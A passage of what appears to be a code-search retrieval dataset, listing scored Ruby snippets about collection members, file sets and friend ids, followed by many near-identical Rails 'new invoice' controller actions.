"score": "0.5582985", "text": "def join_user_ids\n [owner.id] | member_ids\n end", "title": "" }, { "docid": "dc3bc548234ac3a606341705e54f45af", "score": "0.5570911", "text": "def primary_file_fs\n members.select(&:primary?)\n end", "title": "" }, { "docid": "dc3bc548234ac3a606341705e54f45af", "score": "0.5570911", "text": "def primary_file_fs\n members.select(&:primary?)\n end", "title": "" }, { "docid": "629e0a1667e8ee1b0e7d6374a8bce583", "score": "0.5566883", "text": "def remove_members_from_collection\n batch.each do |pid|\n work = ActiveFedora::Base.find(pid)\n work.member_of_collections.delete @collection\n work.save!\n\n remove_id_from_work_order(pid)\n end\n end", "title": "" }, { "docid": "cc7aefbb8cf6294fdc462caf61a0cafc", "score": "0.55664986", "text": "def committerids\n ASF::Project.find(name).memberids\n end", "title": "" }, { "docid": "cb3dc8d6639f199c5dfea5cf90308943", "score": "0.5566164", "text": "def file_ids\n ids = update_file_ids\n # this will be nil if no file associations have been set, so return an empty Array.\n if ids.nil?\n return []\n else\n return ids\n end\n end", "title": "" }, { "docid": "579ef66990f611283b841fb8374e5975", "score": "0.5547551", "text": "def asset_ids(id)\n score = ActiveFedora::SolrService.query(\"{!terms f=id}#{id}\", rows: 1)\n return if score.blank?\n\n ids = score.first['ordered_member_ids_ssim']\n return if ids.blank?\n\n ids.delete(score.first['representative_id_ssim']&.first)\n featured_representatives(score.first['id']).each do |fr|\n ids.delete(fr.file_set_id)\n end\n\n ids.join(',')\n end", "title": "" }, { "docid": "bf143249700887712d99b226a1745426", "score": "0.5546146", "text": "def include_collection_ids(solr_parameters, user_parameters)\n solr_parameters[:fq] ||= []\n if @collection.member_ids.empty?\n solr_parameters[:fq] << '{!lucene}-id:[* TO *]' # Don't match anything\n else\n query = @collection.member_ids.map{|id| 'id:\"'+id+'\"'}.join \" OR \"\n solr_parameters[:fq] << query\n end\n end", "title": "" }, { "docid": "779183ac014307400eceb68be819c5d2", "score": "0.554592", "text": "def mainfile_ids\n self[Solrizer.solr_name('mainfile_ids')]\n end", "title": "" }, { "docid": "f637590072d891926fcf644c93c18e91", "score": "0.5544462", "text": "def mutual_friendships_ids\n\t\tall_mutual_friendships = MutualFriendship.where(\"user_at_party = ? OR user_at_party_2 = ?\", self.id, self.id)\n\t\tall_mutual_friends_ids = Set.new\n\t\tall_mutual_friendships.each do |mf|\n\t\t\tif mf.user_at_party == self.id\n\t\t\t\tall_mutual_friends_ids << mf.user_at_party_2\n\t\t\telsif mf.user_at_party_2 == self.id\n\t\t\t\tall_mutual_friends_ids << mf.user_at_party\n\t\t\tend\n\t\tend\n\t\tall_mutual_friends_ids\n\tend", "title": "" }, { "docid": "73a5a17638abbb069023a5b7a6d8cf46", "score": "0.5532647", "text": "def flattened_members\n results = []\n\n members.all.each do |e|\n if e.type == \"Group\"\n e.flattened_members.each do |m|\n results << m\n end\n else\n results << e\n end\n end\n\n # Only return a unique list\n results.uniq{ |x| x.id }\n end", "title": "" }, { "docid": "83c56547d6fef499ed376569477ee08e", "score": "0.55147755", "text": "def ids\n parent.attributes.fetch(:\"#{Util.to_plural(member_class.resource)}\", [])\n end", "title": "" }, { "docid": "82d317dc45ae95a12d666dc0deb3eae2", "score": "0.55141175", "text": "def materialized_members\n ActiveFedora::Base.find(member_ids)\n end", "title": "" }, { "docid": "1d0e22c8265af8850eddbe22b0a6a2ec", "score": "0.5508552", "text": "def related_files\n return [] if batch.nil?\n ids = batch.generic_file_ids.reject { |sibling| sibling == id }\n ids.map { |id| GenericFile.load_instance_from_solr id }\n end", "title": "" }, { "docid": "2cd8eb750a67e3821924959b75c5a711", "score": "0.54943895", "text": "def remove_members_by_ids(collection:, member_ids:, user:)\n members = Hyrax.query_service.find_many_by_ids(ids: member_ids)\n remove_members(collection: collection, members: members, user: user)\n end", "title": "" }, { "docid": "2d4368637782a2c0f86e9e672f067ae1", "score": "0.54691", "text": "def members_to_include\n @members_to_include ||= work.\n members.\n includes(:leaf_representative).\n where(published: true).\n order(:position).\n select do |m|\n m.leaf_representative&.file_derivatives(DERIVATIVE_SOURCE.to_sym) || m.leaf_representative&.file_derivatives(FAILOVER_DERIVATIVE_SOURCE.to_sym)\n end\n end", "title": "" }, { "docid": "32571446f3d3c27fd49bf166f21ff471", "score": "0.5468343", "text": "def in_collection_ids\n []\n end", "title": "" }, { "docid": "32571446f3d3c27fd49bf166f21ff471", "score": "0.5468343", "text": "def in_collection_ids\n []\n end", "title": "" }, { "docid": "801de8f8c7ac6b7758102a17dfa3b7b0", "score": "0.5462105", "text": "def filter_by_list_ids(id_list, is_in)\n if (is_in === true)\n Entry.all.select{|entry| id_list.include?(entry.id) }\n else\n Entry.all.select{|entry| !id_list.include?(entry.id) }\n end\n end", "title": "" }, { "docid": "120efc402b74d1d97a44e9d8a043cda5", "score": "0.5458245", "text": "def file_set\n @file_set ||= begin\n member_id = resource_decorator.thumbnail_id.try(:first)\n return nil unless member_id\n members = resource_decorator.geo_members.select { |m| m.id == member_id }\n members.first.decorate unless members.empty?\n end\n end", "title": "" }, { "docid": "abb02b2e132636ee6bc2267888571301", "score": "0.5457136", "text": "def filter_known_uids all_uids\n new_uids = all_uids - @user.known_uids\n end", "title": "" }, { "docid": "125256728adf44abbf7fb0a49aece0b2", "score": "0.5437414", "text": "def ordered_member_ids(work_id)\n query = \"proxy_in_ssi:#{work_id}\"\n results = ActiveFedora::SolrService.query(query, rows: 10_000, fl: 'ordered_targets_ssim')\n results.flat_map { |x| x.fetch(\"ordered_targets_ssim\", []) }\n end", "title": "" }, { "docid": "f04aac993a45ebe6e00a3630d3e84d98", "score": "0.5431639", "text": "def related_data_files\n DataFile.where(id: related_data_file_ids)\n end", "title": "" }, { "docid": "1362269e7af101eb0e6d9e4c1212c6f2", "score": "0.54235953", "text": "def filter_empty_submissions(grouping_ids)\n grouping_ids.select do |grouping_id|\n submission = Submission.find_by(grouping_id: grouping_id)\n submission && SubmissionFile.where(submission_id: submission.id).exists?\n end\n end", "title": "" }, { "docid": "1362269e7af101eb0e6d9e4c1212c6f2", "score": "0.54235953", "text": "def filter_empty_submissions(grouping_ids)\n grouping_ids.select do |grouping_id|\n submission = Submission.find_by(grouping_id: grouping_id)\n submission && SubmissionFile.where(submission_id: submission.id).exists?\n end\n end", "title": "" }, { "docid": "729ac77509cd758a1ef4d50b2066997b", "score": "0.5417835", "text": "def filter_activities(list, members)\n member_names = members.collect(&:name)\n return list.select{|x| member_names.include?(x.author)}\n end", "title": "" }, { "docid": "cff59a09808bd037252a5d1e80b2b0cc", "score": "0.541324", "text": "def relevant_members\r\n group_ids = self.group_ids\r\n user_ids = Membership.select(\"user_id\").where(group_id: group_ids).map(&:user_id).uniq\r\n User.find(user_ids)\r\n end", "title": "" }, { "docid": "c6f2c1352f7a5c8e8bd93af9fc889e74", "score": "0.53877294", "text": "def group_member_set\n end", "title": "" }, { "docid": "8cc12cd5f7a028611d5e4378e834ad20", "score": "0.53872323", "text": "def remove_members_by_ids(collection_id:, member_ids:, user:)\n members = Hyrax.query_service.find_many_by_ids(ids: member_ids)\n remove_members(collection_id: collection_id, members: members, user: user)\n end", "title": "" }, { "docid": "c768529e57a132799522d9fd1032e463", "score": "0.5370379", "text": "def doc_ids_only\n {'fl'=>'id', 'facet'=>'false'}\n end", "title": "" }, { "docid": "05abf7763a786c460f066110a508d58c", "score": "0.53648806", "text": "def pull_current_member_ids\n client\n .list_members(list_id, count: 5000)\n .attrs[:users]\n .map do |user|\n user[:id]\n end\n end", "title": "" }, { "docid": "164c96f9602552356d153932290a39c0", "score": "0.53614724", "text": "def mutual_friend_ids\n friendships.where(\"\\\"accepted?\\\" = true\").pluck(:friend_id)\n end", "title": "" }, { "docid": "e297b68a656af77151125a11f3379f40", "score": "0.5352536", "text": "def reviewer_ids\n Review.find(:all, :conditions => {:story_id => self.id}, :select => \"member_id\").map { |r| r.member_id }\n end", "title": "" }, { "docid": "3f1a4aa30032cc0ebf3a8b7d9ac19330", "score": "0.533897", "text": "def member_thumbnail_ids_for(resource)\n return [] if resource.member_ids.empty?\n members = metadata_adapter.query_service.find_members(resource: resource)\n thumbnail_ids = members.to_a.map(&:thumbnail_id).reject(&:nil?)\n thumbnail_ids += members.map { |member| member_thumbnail_ids(member) } if thumbnail_ids.empty?\n thumbnail_ids.flatten\n end", "title": "" }, { "docid": "dbee7567fb79a309d8882aca00808114", "score": "0.5335931", "text": "def friendlier_ids\n @friendlier_ids ||= more_like_this_doc_set&.map { |d| d['id'] }\n end", "title": "" }, { "docid": "a2de4a56a7fe78fd2812b4581f05c52a", "score": "0.53351206", "text": "def search_members_by_uids\n member_uids = entry[:memberUid]\n return [] if member_uids.empty?\n\n filter = all_members_by_uid(member_uids, ldap.uid)\n ldap.search(filter: filter)\n end", "title": "" }, { "docid": "14f664649d6f15e303e11b408d2cb227", "score": "0.53349465", "text": "def process_wfids\n\n @context.storage.ids('expressions').collect { |sfei|\n sfei.split('!').last\n }.uniq.sort\n end", "title": "" }, { "docid": "c0b9771e5798121164cd52a9050fec58", "score": "0.5334147", "text": "def members\n self.model_files.map { |model_file| model_file.member }.compact.uniq\n end", "title": "" }, { "docid": "b4a599259468ed2bfd1b76f0b82d74af", "score": "0.53256136", "text": "def find_parent_collection_ids(resource:)\n resource.member_of_collection_ids\n end", "title": "" }, { "docid": "6451297919bd521175c342281449779a", "score": "0.53155047", "text": "def filter_records\n return @master_objects if @master_objects.is_a? Array\n\n @filtered_ids = @master_objects\n .select { |i| i.option_type_config&.calc_if(:showable_if, i) }\n .map(&:id)\n @master_objects = @master_objects.where(id: @filtered_ids)\n filter_requested_ids\n limit_results\n embed_all_references\n end", "title": "" }, { "docid": "a88790c89d13d791e7b6fd75de69b5b2", "score": "0.5306421", "text": "def member_id_tree h, id, dont_visit = Set.new\n id_member_ids = Set.new [(member_ids h, id)].flatten(1)\n dont_visit << id\n visit = (id_member_ids - dont_visit)\n result = visit.map { |member_id|\n [member_id,( member_id_tree h, member_id, dont_visit ) ]\n }.to_h\n result\n end", "title": "" }, { "docid": "78bf8aeddf4950e722dc831c8111a72c", "score": "0.5304914", "text": "def ids\n map { |file_node| file_resource(file_node).id }\n end", "title": "" }, { "docid": "af10c2dfced10ed4fe93c61c469c8889", "score": "0.5303934", "text": "def find_members(resource:)\n member_ids = resource.try(:member_ids) || []\n member_ids.lazy.map do |id|\n file = storage_adapter.find_by(id: storage_id_from_resource_id(id, parent_resource: resource))\n json = JSON.parse(file.read)\n attributes = Valkyrie::Persistence::Shared::JSONValueMapper.new(json).result.symbolize_keys\n member = Valkyrie::Types::Anything[attributes]\n member.loaded[:parents] = [resource]\n resource_processor.call(resource: member, adapter: adapter)\n rescue Valkyrie::StorageAdapter::FileNotFound\n nil\n end.select(&:present?)\n end", "title": "" }, { "docid": "4e92a6529e9719ccc8089e540f0fe397", "score": "0.52977943", "text": "def show_members\n @project = Project.find(params[:id])\n @members = \n Member.select(\"*\")\n .where(\"id not in (select MPG.m_id from member_project_groupings as MPG where MPG.p_id = #{@project.id})\")\n # .joins(\"left outer join members as M on M.id != member_project_groupings.m_id\")\n #select M.* from (select * from members) as M where id not in \n #(select MPG.m_id from member_project_groupings as MPG where MPG.p_id = 3); \n end", "title": "" }, { "docid": "af794bca9077d85d718cdb5dc8894fa7", "score": "0.52813274", "text": "def supplemental_files_fs\n members.select(&:supplementary?)\n end", "title": "" }, { "docid": "af794bca9077d85d718cdb5dc8894fa7", "score": "0.52813274", "text": "def supplemental_files_fs\n members.select(&:supplementary?)\n end", "title": "" }, { "docid": "a9f06850aa2b1012f7b6c37073ff69c0", "score": "0.5279454", "text": "def map_set_file_set\n @map_set_file_set ||= begin\n member_id = Array.wrap(resource_decorator.thumbnail_id).first\n return unless member_id\n member = query_service.find_by(id: member_id)\n return member.decorate if member&.is_a?(FileSet)\n member.decorate.geo_members.try(:first)\n end\n rescue Valkyrie::Persistence::ObjectNotFoundError\n nil\n end", "title": "" }, { "docid": "a9f06850aa2b1012f7b6c37073ff69c0", "score": "0.5279454", "text": "def map_set_file_set\n @map_set_file_set ||= begin\n member_id = Array.wrap(resource_decorator.thumbnail_id).first\n return unless member_id\n member = query_service.find_by(id: member_id)\n return member.decorate if member&.is_a?(FileSet)\n member.decorate.geo_members.try(:first)\n end\n rescue Valkyrie::Persistence::ObjectNotFoundError\n nil\n end", "title": "" }, { "docid": "3fa89166e488246648a439a2f91b5583", "score": "0.52785486", "text": "def staff_member_ids=(value)\n @staff_member_ids = value\n end", "title": "" }, { "docid": "3fa89166e488246648a439a2f91b5583", "score": "0.52785486", "text": "def staff_member_ids=(value)\n @staff_member_ids = value\n end", "title": "" }, { "docid": "905e16556c80890bec51b6c4edce6354", "score": "0.52784216", "text": "def remove_member_by_pid (pid)\n \n #will only delete out of RELS-EXT if member is only instance of that object in the collection.\n #member can appear in collection more than once, but only one shows up in RELS-EXT because of Hydra or Fedora restriction.\n number_of_times_in_collection = self.members.find_by_terms(:mods, :relatedItem, :identifier=>pid).size\n \n #remove from mods_collection_members datastream\n members.remove_member_by_pid(pid)\n \n #remove from RELS-EXT for both the member and the collection\n if number_of_times_in_collection == 1\n object_to_delete = ActiveFedora::Base.find(pid, :cast=>true)\n if object_to_delete.instance_of?(Multiresimage)\n self.remove_relationship(:has_image, object_to_delete)\n object_to_delete.remove_relationship(:is_member_of, self)\n elsif object_to_delete.instance_of?(DILCollection)\n self.remove_relationship(:has_subcollection, object_to_delete)\n object_to_delete.remove_relationship(:is_member_of, self)\n end\n object_to_delete.save!\n end\n \n self.save!\n \n end", "title": "" }, { "docid": "b29de0f897d53c2baf6a7cf19f948e12", "score": "0.52701455", "text": "def member_ids\n user_ids << leader_id\n end", "title": "" } ]
d76d7fa8915e75d31aa04169b69de330
assigns a key value pair
[ { "docid": "9dcd5bf77ef06eed34c675c93eac3734", "score": "0.6747041", "text": "def []=(k, v) \n @data[k] = v\n end", "title": "" } ]
[ { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "d49a7256948ce963ae8fb80c71a6966e", "score": "0.7406969", "text": "def set(key, value); end", "title": "" }, { "docid": "ff2bdad8fb6bd1baecd6f8e5efddba6a", "score": "0.7314772", "text": "def setnx(key, value); end", "title": "" }, { "docid": "ff2bdad8fb6bd1baecd6f8e5efddba6a", "score": "0.7314772", "text": "def setnx(key, value); end", "title": "" }, { "docid": "ec3c853abe1acb60e56dee9f2cdf64a0", "score": "0.72778314", "text": "def []= key, value; @hash[key] = value end", "title": "" }, { "docid": "9427e469e8fe81168dfc7f64deedd9d2", "score": "0.7265427", "text": "def []=(k,v) data[k.to_sym]=v ; end", "title": "" }, { "docid": "866794904c9f0db7264ead0e6e2e6aba", "score": "0.70731497", "text": "def []=( key, val ) @h[to_key(key)] = val end", "title": "" }, { "docid": "55665cc8311453fc69a52df11241e585", "score": "0.7070966", "text": "def set_value(key, val)\n \t@hash[key] = val\nend", "title": "" }, { "docid": "91d78dd1585540242e45fec99c924990", "score": "0.7065107", "text": "def _assign_attribute(key, value)\n attributes[key.to_s] = value\n super\n end", "title": "" }, { "docid": "f619daee54be21fb9bf0a612bb28722a", "score": "0.7051936", "text": "def put(key, value); end", "title": "" }, { "docid": "f619daee54be21fb9bf0a612bb28722a", "score": "0.7051936", "text": "def put(key, value); end", "title": "" }, { "docid": "f619daee54be21fb9bf0a612bb28722a", "score": "0.7051936", "text": "def put(key, value); end", "title": "" }, { "docid": "f619daee54be21fb9bf0a612bb28722a", "score": "0.7051936", "text": "def put(key, value); end", "title": "" }, { "docid": "61bf486027fc1ed3e718285660e258ac", "score": "0.7047082", "text": "def set(key, value)\n\t\t@dict[key] = value\n\t\treturn \"OK\"\n\tend", "title": "" }, { "docid": "fb7a7cefb08f8ffc5db658d24b4fa515", "score": "0.7042881", "text": "def []= key, value\n hash[key] = value\n end", "title": "" }, { "docid": "014f7099211644062a5b1b77e71281c7", "score": "0.70183074", "text": "def set!(key, value)\n @data[key.to_sym] = value\n end", "title": "" }, { "docid": "08b49d4b524310a06f55e99851d6ce28", "score": "0.6997371", "text": "def put(key, value)\n \n end", "title": "" }, { "docid": "08b49d4b524310a06f55e99851d6ce28", "score": "0.6997371", "text": "def put(key, value)\n \n end", "title": "" }, { "docid": "08b49d4b524310a06f55e99851d6ce28", "score": "0.6997371", "text": "def put(key, value)\n \n end", "title": "" }, { "docid": "08b49d4b524310a06f55e99851d6ce28", "score": "0.6997371", "text": "def put(key, value)\n \n end", "title": "" }, { "docid": "dec5849e4b081634283307747551cde7", "score": "0.69968843", "text": "def []=(key, value)\n @assigns[0][key] = value\n end", "title": "" }, { "docid": "f3140e29a7aed1e834ad276748b37471", "score": "0.69724274", "text": "def set k,v\n key = k.to_s.to_sym\n v = (v.is_a?(ASObj) ? v.finish : v) unless v == nil\n @_[key] = v unless v == nil\n @_.delete key if v == nil\n end", "title": "" }, { "docid": "68e4cf87aaa6328323e7bdc45167dc90", "score": "0.6966466", "text": "def []=(key, value)\r\n @data[key.id] = value\r\n end", "title": "" }, { "docid": "27f14d0cb6994d75dc886fc084786f08", "score": "0.69564134", "text": "def []=(k, v)\n data[k.to_sym] = v\n end", "title": "" }, { "docid": "aa37dc5f0299da305589c47b343b250d", "score": "0.69494635", "text": "def set(key, value)\r\n instance_variable_set \"@#{key}\", value\r\n attributes << key unless attributes.include? key\r\n store.transaction do\r\n if store_key\r\n store[store_key] ||= {}\r\n store[store_key][key] = value\r\n else\r\n store[key] = value\r\n end\r\n end \r\n end", "title": "" }, { "docid": "3048b86cb78328f5b7d3f19b4097426f", "score": "0.6942228", "text": "def assign(key, value)\n instance_variable_set(\"@#{key}\", value)\n end", "title": "" }, { "docid": "efc678363a4aef477ff8a51b47975af4", "score": "0.69223535", "text": "def []= key, value\n self.hash[key] = value\n end", "title": "" }, { "docid": "e3dcace51f5f93c30e170b9a47f0ced8", "score": "0.69093686", "text": "def store(key, value); end", "title": "" }, { "docid": "e3dcace51f5f93c30e170b9a47f0ced8", "score": "0.69093686", "text": "def store(key, value); end", "title": "" }, { "docid": "fc033f6d215f92034f275cd9b4764cab", "score": "0.69059426", "text": "def []= key, value\n @_res[key] = value\n end", "title": "" }, { "docid": "4669d7abdc94a4ed2eda569e880c826c", "score": "0.69045335", "text": "def _set(kv)\n case kv.first.to_sym\n when :name\n @name = kv.last\n when :value\n @value = kv.last\n when :path\n @path = kv.last\n when :domain\n @domain = kv.last\n when :expires\n @expires = Time.parse(kv.last.gsub('GMT', 'UTC'))\n when :httponly\n @httponly = true\n when :secure\n @secure = true\n end\n end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "35bec7717521a61a97440aa4953a0480", "score": "0.6901837", "text": "def []=(key, value); end", "title": "" }, { "docid": "d8552d5eb000d0a91cbaaee4c06e5060", "score": "0.6894829", "text": "def set_attribute(attrdictname, key, value)\n end", "title": "" }, { "docid": "30d368ef1b8ced5a45b33e8e19639bb9", "score": "0.6886483", "text": "def []=(key, value)\n assign_variable(:key => key, :value => value)\n self[key]\n end", "title": "" }, { "docid": "42e3ea1a1d4bc59490084fc458f76a39", "score": "0.68827075", "text": "def set(key,value)\n data[key.to_s] = value\n save\n value\n end", "title": "" }, { "docid": "2ceaaddf354fb8e1d43a1442b2f5047b", "score": "0.6873299", "text": "def store(k, v); self[k] = v; end", "title": "" }, { "docid": "e7dd71dbe8440b084aeb029f990b6735", "score": "0.6873158", "text": "def put(key, value)\n \n end", "title": "" }, { "docid": "97ad4de0743ff0a47eb6712a8d6a3781", "score": "0.68726015", "text": "def [](key, value)\n data[key] = value\n end", "title": "" }, { "docid": "69109ab3616df4801fa628d563ca24e2", "score": "0.6856415", "text": "def with_value(object, key, value); end", "title": "" }, { "docid": "059136759cac10e1fed11114ad639329", "score": "0.6847383", "text": "def []= key, value\n @hash[key] = value\n end", "title": "" }, { "docid": "f34d0f72d9b220f6be9b832701112d06", "score": "0.6818379", "text": "def set(key, value)\n vars[key.to_s] = value\n end", "title": "" }, { "docid": "7fa0e286898b06ac6dd4cc8882276816", "score": "0.68160087", "text": "def []=(key, value)\n data[key.to_s] = value\n end", "title": "" }, { "docid": "c242ef9b22709d20a172d1009e602765", "score": "0.68151283", "text": "def put(key, value)\r\n \r\n end", "title": "" }, { "docid": "a89e8815d5f843c395e0b674485cae41", "score": "0.6792067", "text": "def []=(key, val)\n \t@data[key] = val\n end", "title": "" }, { "docid": "25000f2cacc763d350a3e48bf627f833", "score": "0.67722803", "text": "def []=(key, val)\n if self.exist? key\n p = pair(key)\n p.value = val if p\n else\n KeyValueModelItem.create self.root, {:key => key, :value => val}\n end\n end", "title": "" }, { "docid": "399f051d065a35e012dbe03d6c16eec8", "score": "0.6765409", "text": "def []=(key, value)\n @adapter.hash_set @name, key.to_s, value.to_s\n end", "title": "" }, { "docid": "c853a62d4de98719b4cae2b17555eb73", "score": "0.67645496", "text": "def []=(key, value)\r\r\n @data[key] = value\r\r\n end", "title": "" }, { "docid": "c853a62d4de98719b4cae2b17555eb73", "score": "0.67645496", "text": "def []=(key, value)\r\r\n @data[key] = value\r\r\n end", "title": "" }, { "docid": "7a9f7ec185ce218a42ed0925cdd20b52", "score": "0.67442137", "text": "def []=(key, value)\r\n @data[key] = value\r\n end", "title": "" }, { "docid": "7a9f7ec185ce218a42ed0925cdd20b52", "score": "0.67442137", "text": "def []=(key, value)\r\n @data[key] = value\r\n end", "title": "" }, { "docid": "31415d7cd49f0965671217f9f0205f1d", "score": "0.67434347", "text": "def with_value(object, key, value)\n object[key] = value if value\n end", "title": "" }, { "docid": "d191b57df190471c3ca91397c202cfec", "score": "0.67031616", "text": "def []=(key, value)\n @param[key] = value\n end", "title": "" }, { "docid": "72b39332b015ef4f47cbba820abe2133", "score": "0.6702056", "text": "def set(key, value)\n @data[key.to_s] = value\n self\n end", "title": "" }, { "docid": "766450e0c9a519bd3e2f3e1409f8da3f", "score": "0.67010224", "text": "def []=(key, value)\n current[key] = value\n end", "title": "" }, { "docid": "241cf32eb5a7193d5d49028a844333a1", "score": "0.6694293", "text": "def []=(key, value)\n @data[key] = value\n end", "title": "" }, { "docid": "241cf32eb5a7193d5d49028a844333a1", "score": "0.6694293", "text": "def []=(key, value)\n @data[key] = value\n end", "title": "" }, { "docid": "241cf32eb5a7193d5d49028a844333a1", "score": "0.6694293", "text": "def []=(key, value)\n @data[key] = value\n end", "title": "" }, { "docid": "87f7b90c16c2a31db3b06b7e9178b2be", "score": "0.6692541", "text": "def set(key, value)\n attributes[key.to_sym] = value\n end", "title": "" }, { "docid": "20428f567f860b356ab76a0f823628dd", "score": "0.6682624", "text": "def put(key, value)\n end", "title": "" }, { "docid": "20428f567f860b356ab76a0f823628dd", "score": "0.6682624", "text": "def put(key, value)\n end", "title": "" }, { "docid": "1e8971f0c96f6690fbca7952e68208cf", "score": "0.66703147", "text": "def set(key, value)\n vars[key.to_s.downcase] = value\n end", "title": "" }, { "docid": "fa2662b226c136fd98ce9c59ba172a49", "score": "0.666671", "text": "def []=(key,val)\n @data[key] = val\n end", "title": "" }, { "docid": "fec2747b400efed4a6823da0b5b993b0", "score": "0.66662496", "text": "def my_set key, value\n @database[key] = value\n end", "title": "" }, { "docid": "bf2ac17064320fe509bab4abb7ecfd79", "score": "0.6664444", "text": "def []=(key, value)\n @data[key.to_s] = value\n end", "title": "" }, { "docid": "355faacd2a20e305a0af313e6b1836d2", "score": "0.6660889", "text": "def store(key, value)\n super(*cast_pair(key, value))\n end", "title": "" }, { "docid": "61013292551eadbca477f5bc18f6ef70", "score": "0.6649773", "text": "def []=(key, value)\n @map[make_key(key)] = value\n end", "title": "" }, { "docid": "310c6375568ba261eb4ea29f765ac832", "score": "0.6643314", "text": "def set_value(key, value)\n @store_[key] = value\n YakvdConstants.success\n end", "title": "" }, { "docid": "c6a9a747281404cab6b685db442ee1f3", "score": "0.66380847", "text": "def []=( key, value )\n @context[ key ] = value\n end", "title": "" }, { "docid": "ecb86382ae27e06a53644971f1fc1249", "score": "0.66356045", "text": "def []=(key, value)\n @result[key] = value\n end", "title": "" }, { "docid": "49e662c0c11abeadef15103340fcedab", "score": "0.66345674", "text": "def []= key, value\n @store[key] = value\n end", "title": "" } ]
10bae78df6365f4630179a6833132e12
GET /invoices/new GET /invoices/new.json
[ { "docid": "df82921d3f1bd68f9cc1aace35d1a55d", "score": "0.7666737", "text": "def new\n @invoice = Invoice.new\n prepFormVariables(@invoice)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" } ]
[ { "docid": "30720d366d9771abfec8a87fcacbb949", "score": "0.83345807", "text": "def new\n @invoice = Invoice.new\n @invoices = Invoice.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "8fea6662108d2416814c8d8e8ac3b9e8", "score": "0.82430965", "text": "def new\n @invoice = Invoice.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "d78a4d10f50b3ccf1231bf18ab139b95", "score": "0.81610125", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "94516da4657774b26b6f6bdf1a866683", "score": "0.8134383", "text": "def new\n @invoice = Invoice.new\n\n respond_to do 